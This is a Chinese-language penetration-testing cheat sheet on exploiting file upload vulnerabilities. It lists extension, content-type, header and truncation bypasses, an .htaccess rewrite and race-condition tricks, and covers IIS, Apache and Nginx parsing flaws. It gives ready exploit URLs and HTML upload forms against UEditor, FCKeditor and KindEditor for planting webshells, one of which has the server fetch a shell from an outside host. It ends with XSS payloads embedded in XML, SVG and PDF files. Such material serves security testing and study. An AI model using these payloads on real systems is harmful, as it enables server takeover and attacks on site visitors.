文件上传漏洞
目录
文件上传漏洞
文件上传条件
有上传点
后缀没有过滤且可解析
能找到web路径
常见的绕过方式
前端绕过:上传一张图片,抓包修改后缀为php
content-type绕过:
applicaition/x-www-form-urlencoded
multipart/form-data
application/json
image/jpeg
image/png
text/xml
大小写绕过:PhP
双写绕过:phphpp
特殊可解析后缀:php5,phtml,php3,ashx,asmx,cer,jspx,jspf等
.htaccess绕过:重写解析绕过上传
<FileMatch "jpg">
SetHandler application/x-httpd-php
</FileMatch>
空格绕过上传:1.php(空格)
.绕过上传:php.
::$DATA绕过:利用Windows下NTFS文件系统的一个特性,可以在后缀名后加::$DATA绕过
%00截断:当用户尝试上传一个文件时,如果文件名被修改为 malicious.png%00.php,服务器在处理文件名时可能会将 %00 后的部分视为无效,从而只识别为 malicious.png
文件头绕过:
GIF 文件:GIF89a 或 GIF87a
JEPG文件FFD8(十六进制表示)
PNG 文件:89504E47
PDF 文件:%PDF-(文件头以 %PDF- 开头)
ZIP 文件:504B0304
TIFF 文件:49492A00 或 4D4D002A
BMP 文件:424D(十六进制表示)
ICO 文件:00000100 或 00000200
SVG 文件:<svg(文本格式)
WAV 文件:52494646(十六进制表示)
图片马:通过copy 001.jpeg/b + test.php/a 2.jpg制作,将恶意代码封装在一个图片文件中上传。
文件上传条件竞争:文件上传的场景中,条件竞争通常涉及上传文件的过程,攻击者利用时间差异,在文件处理的不同阶段之间进行恶意操作。通过burpsuite的intruder模块,设置为null payloads,调节下线程数,进行并发
中间件解析漏洞
IIS6版本:
当攻击者访问http://www.test.com/bitsec.php/xxx.jpg,服务器会默认将PHP目录下的文件解析为php文件。因此虽然文件后缀为jpg,但依然会被作为PHP执行。
IIS5和IIS6版本:
当攻击者访问http://www.test.com/bitsec.php;.jpg,服务器会默认不解析“;”后面的内容,因此bitsec.php;.jpg就被作为bitsec.php解析执行。
Apache:
一个文件名为test.x1.x2.x3的文件,apache会从右到左解析,如先解析x3,如果不能解析则会尝试解析x2,以此类推。
CVE-2017-15715,上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤。
Nginx:
在Nginx 0.8.41到1.5.6的版本中,攻击者可以利用多种方式解析文件。攻击者正常访问http://www.test.com/image/bitsec.jpg时,会正常显示图片。但是当攻击者通过下面的方式进行访问时,就被解析为PHP文件。http://www.test.com/image/bitsec.jpg/bitsec.php (目录解析)
http://www.test.com/image/bitsec.jpg%00.php (截断解析)
http://www.test.com/image/bitsec.jpg%20\0.php (截断解析)
编辑器任意文件上传
Ueditor
1.4.3.3 .net版本
<form action="http://192.168.6.14:16661/Scripts/ueditor/net/controller.ashx?action=catchimage&encode=utf-8" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
加载一个远程图片shell
表单在远程图片后加?.aspx
如 http://1.1.1.1/uploads/1.gif?.aspx
FCKeditor
版本
FCKeditor/_whatsnew.html
编辑器
FCKeditor/_samples/default.html
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
fckeditor/editor/filemanager/connectors/test.html
上传
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
上传路径
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor被动限制策略所导致的过滤不严问题
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述:FCKeditor v2.4.3中File类别默认拒绝上传类型:html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtmFckeditor 2.0 <= 2.2允许上传asa、cer、php2、php4、inc、pwml、pht后缀的文件
上传后 它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension为后缀。直接导致在win下在上传文件后面加个.来突破[未测试]。而在apache下,因为”Apache文件名解析缺陷漏洞”也可以利用之,详见”附录A”另建议其他上传漏洞中定义TYPE变量时使用File类别来上传文件,根据FCKeditor的代码,其限制最为狭隘。攻击利用:
允许其他任何后缀上传
利用2003路径解析漏洞上传木马
影响版本: 索引底部附录B
脆弱描述:
利用2003系统路径解析漏洞的原理,创建类似bin.asp如此一般的目录,再在此目录中上传文件即可被脚本解释器以相应脚本权限执行。
攻击利用:
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
强制建立shell.asp目录:
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
or
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
FCKeditor PHP上传任意文件漏洞
影响版本: FCKeditor 2.2 <= FCKeditor 2.4.2
脆弱描述:FCKeditor在处理文件上传时存在输入验证错误,远程攻击可以利用此漏洞上传任意文件。在通过editor/filemanager/upload/php/upload.php上传文件时攻击者可以通过为Type参数定义无效的值导致上传任意脚本。
成功攻击要求config.php配置文件中启用文件上传,而默认是禁用的。攻击利用: (请修改action字段为指定网址):
<form id="frmUpload" enctype="multipart/form-data" action="http://www.xxxx.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
Note:如想尝试v2.2版漏洞,则修改Type=任意值 即可,但注意,如果换回使用Media则必须大写首字母M,否则LINUX下,FCKeditor会对文件目录进行文件名校验,不会上传成功的。
FCKeditor 暴路径漏洞
影响版本:aspx版FCKeditor
攻击利用:
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/1.asp
FCKeditor 文件上传“.”变“_”下划线的绕过方法
影响版本: FCKeditor => 2.4.x
脆弱描述:我们上传的文件例如:shell.php.rar或shell.php;.jpg会变为shell_php;.jpg这是新版FCK的变化。攻击利用:
提交1.php+空格 就可以绕过去所有的,
※不过空格只支持win系统 *nix是不支持的[1.php和1.php+空格是2个不同的文件]Note:http://pstgroup.blogspot.com/2007/05/tipsfckeditor.html
FCKeditor 文件上传“.”变“_”下划线的绕过方法(二)
影响版本:=>2.4.x的最新版已修补脆弱描述:由于Fckeditor对第一次上传123.asp;123.jpg 这样的格式做了过滤。也就是IIS6解析漏洞。上传第一次。被过滤为123_asp;123.jpg 从而无法运行。
但是第2次上传同名文件123.asp;123.jpg后。由于”123_asp;123.jpg”已经存在。
文件名被命名为123.asp;123(1).jpg …… 123.asp;123(2).jpg这样的编号方式。
所以。IIS6的漏洞继续执行了。如果通过上面的步骤进行测试没有成功,可能有以下几方面的原因:
1.FCKeditor没有开启文件上传功能,这项功能在安装FCKeditor时默认是关闭的。如果想上传文件,FCKeditor会给出错误提示。
2.网站采用了精简版的FCKeditor,精简版的FCKeditor很多功能丢失,包括文件上传功能。
3.FCKeditor的这个漏洞已经被修复。
FCKeditor 新闻组件遍历目录漏洞
影响版本:Aspx与JSP版FCKeditor脆弱描述:如何获得webshell请参考上文“TYPE自定义变量任意上传文件漏洞”
攻击利用:
修改CurrentFolder参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp
根据返回的XML信息可以查看网站所有的目录。
/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
TYPE自定义变量任意上传文件漏洞
影响版本: 较早版本
脆弱描述:通过自定义Type变量的参数,可以创建或上传文件到指定的目录中去,且没有上传文件格式的限制。攻击利用:
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp
打开这个地址就可以上传任何类型的文件了,Shell上传到的默认位置是:
http://www.xxxx.com/UserFiles/all/1.asp
Type=all 这个变量是自定义的,在这里创建了all这个目录,而且新的目录没有上传文件格式的限制.比如输入:
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.asp
网马就可以传到网站的根目录下.Note:如找不到默认上传文件夹可检查此文件:
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
Kindeditor编辑器
影响版本
kindeditor版本<=4.1.11
查看是否存在有必要验证文件 upload_json.*,常见判断路径如下:
kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file
可通过本地构造poc上传文件导致存储型XSS
<html>
<head>
<title>Uploader</title>
<script src="http://127.0.0.1/kindeditor-4.1.11/kindeditor-all.js"></script>
<script>
KindEditor.ready(function (K) {
var uploadbutton = K.uploadbutton({
button: K('#uploadButton')[0],
fieldName: 'imgFile',
url: 'http://127.0.0.1/kindeditor-4.1.11/php/upload_json.php?dir=file',
afterUpload: function (data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, 'absolute');
K('#url').val(url);
}
},
});
uploadbutton.fileBox.change(function (e) {
uploadbutton.submit();
});
});
</script>
</head>
<body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly=“readonly”/>
<input type="button" id="uploadButton" value="Upload"/>
</div>
</body>
</html>
目录文件名可控
目录没有执行权限(通过控制文件名进行…/…/跳目录,跳到可以执行脚本语言的目录)
因为文件名可以控制,我们就可以利用…/跳目录的方式去截断代码本身给添加的前置名
Content-Disposition: form-data; name=“url”; filename=“/…/…/1.jsp”
文件上传导致的存储型XSS
html文件,xml文件:
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">
alert(1);
</something:script>
</body>
</html>
svg文件:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="alert(1)"
xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>
pdf文件:
%PDF-1.4
%DUMMY
8 0 obj
<<
/PatternType 2
/Shading<<
/Function<<
/Domain[0 1]
/C0[0 0 1]
/C1[1 0.6 0]
/N 1
/FunctionType 2
>>
/ShadingType 2
/Coords[46 400 537 400]
/Extend[false false]
/ColorSpace/DeviceRGB
>>
/Type/Pattern
>>
endobj
5 0 obj
<<
/Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 573 0 573 0 341]
/Type/Font
/BaseFont/PAXEKO+SourceSansPro-Bold
/LastChar 102
/Encoding/WinAnsiEncoding
/FontMatrix [0.1 0 0 0.1 0 (1\);
alert\(document.domain\)
//)]
/Subtype/Type1
/FirstChar 65
/FontDescriptor 9 0 R
>>
endobj
2 0 obj
<<
/Kids[3 0 R]
/Type/Pages
/Count 1
>>
endobj
9 0 obj
<<
/Type/FontDescriptor
/ItalicAngle 0
/Ascent 751
/FontBBox[-6 -12 579 713]
/FontName/PAXEKO+SourceSansPro-Bold
/StemV 100
/CapHeight 713
/Flags 32
/FontFile3 10 0 R
/Descent -173
/MissingWidth 250
>>
endobj
6 0 obj
<<
/Length 128
>>
stream
47 379 489 230 re S
/Pattern cs
BT
50 500 Td
117 TL
/F1 150 Tf
/P1 scn
(AbCdEf) Tj
/P2 scn
(AbCdEf) '
ET
endstream
endobj
3 0 obj
<<
/Type/Page
/Resources 4 0 R
/Contents 6 0 R
/Parent 2 0 R
/MediaBox[0 0 595.2756 841.8898]
>>
endobj
10 0 obj
<<
/Length 800
/Subtype/Type2
>>
stream
endstream
endobj
7 0 obj
<<
/PatternType 1
/Matrix[1 0 0 1 50 0]
/Length 58
/TilingType 1
/BBox[0 0 16 16]
/YStep 16
/PaintType 1
/Resources<<
>>
/XStep 16
>>
stream
0.65 g
0 0 16 16 re f
0.15 g
0 0 8 8 re f
8 8 8 8 re f
endstream
endobj
4 0 obj
<<
/Pattern<<
/P1 7 0 R
/P2 8 0 R
>>
/Font<<
/F1 5 0 R
>>
>>
endobj
1 0 obj
<<
/Pages 2 0 R
/Type/Catalog
/OpenAction[3 0 R /Fit]
>>
endobj
xref
0 11
0000000000 65535 f
0000002260 00000 n
0000000522 00000 n
0000000973 00000 n
0000002178 00000 n
0000000266 00000 n
0000000794 00000 n
0000001953 00000 n
0000000015 00000 n
0000000577 00000 n
0000001085 00000 n
trailer
<<
/ID[(DUMMY) (DUMMY)]
/Root 1 0 R
/Size 11
>>
startxref
2333
%%EOF